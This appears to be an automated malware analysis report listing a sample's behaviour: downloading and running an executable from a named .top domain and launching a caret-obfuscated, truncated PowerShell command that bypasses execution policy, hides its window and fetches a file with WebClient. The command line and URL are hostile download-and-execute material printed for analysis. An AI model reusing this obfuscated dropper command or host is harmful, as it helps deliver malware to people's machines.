Technical Information
Malicious functions
Downloads and executes
- http://trustgovnet.top/search.php as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c "pO^WERSHeLL.^e^xE^ -^E^xe^c^UTIoN^POL^ic^Y ^b^yP^a^ss^ -^nOpRo^Fi^Le^ ^-w^iNdow^stylE hi^D^dEN^ (ne^W-o^BjEc^T s^y^st^em.nET^.WEb^clIEnT).^dow^nLOaDFi^lE(^'http://trustgovne...
Network activity
UDP
- DNS ASK tr###govnet.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "pO^WERSHeLL.^e^xE^ -^E^xe^c^UTIoN^POL^ic^Y ^b^yP^a^ss^ -^nOpRo^Fi^Le^ ^-w^iNdow^stylE hi^D^dEN^ (ne^W-o^BjEc^T s^y^st^em.nET^.WEb^clIEnT).^dow^nLOaDFi^lE(^'http://trustgovne...' (with hidden window)
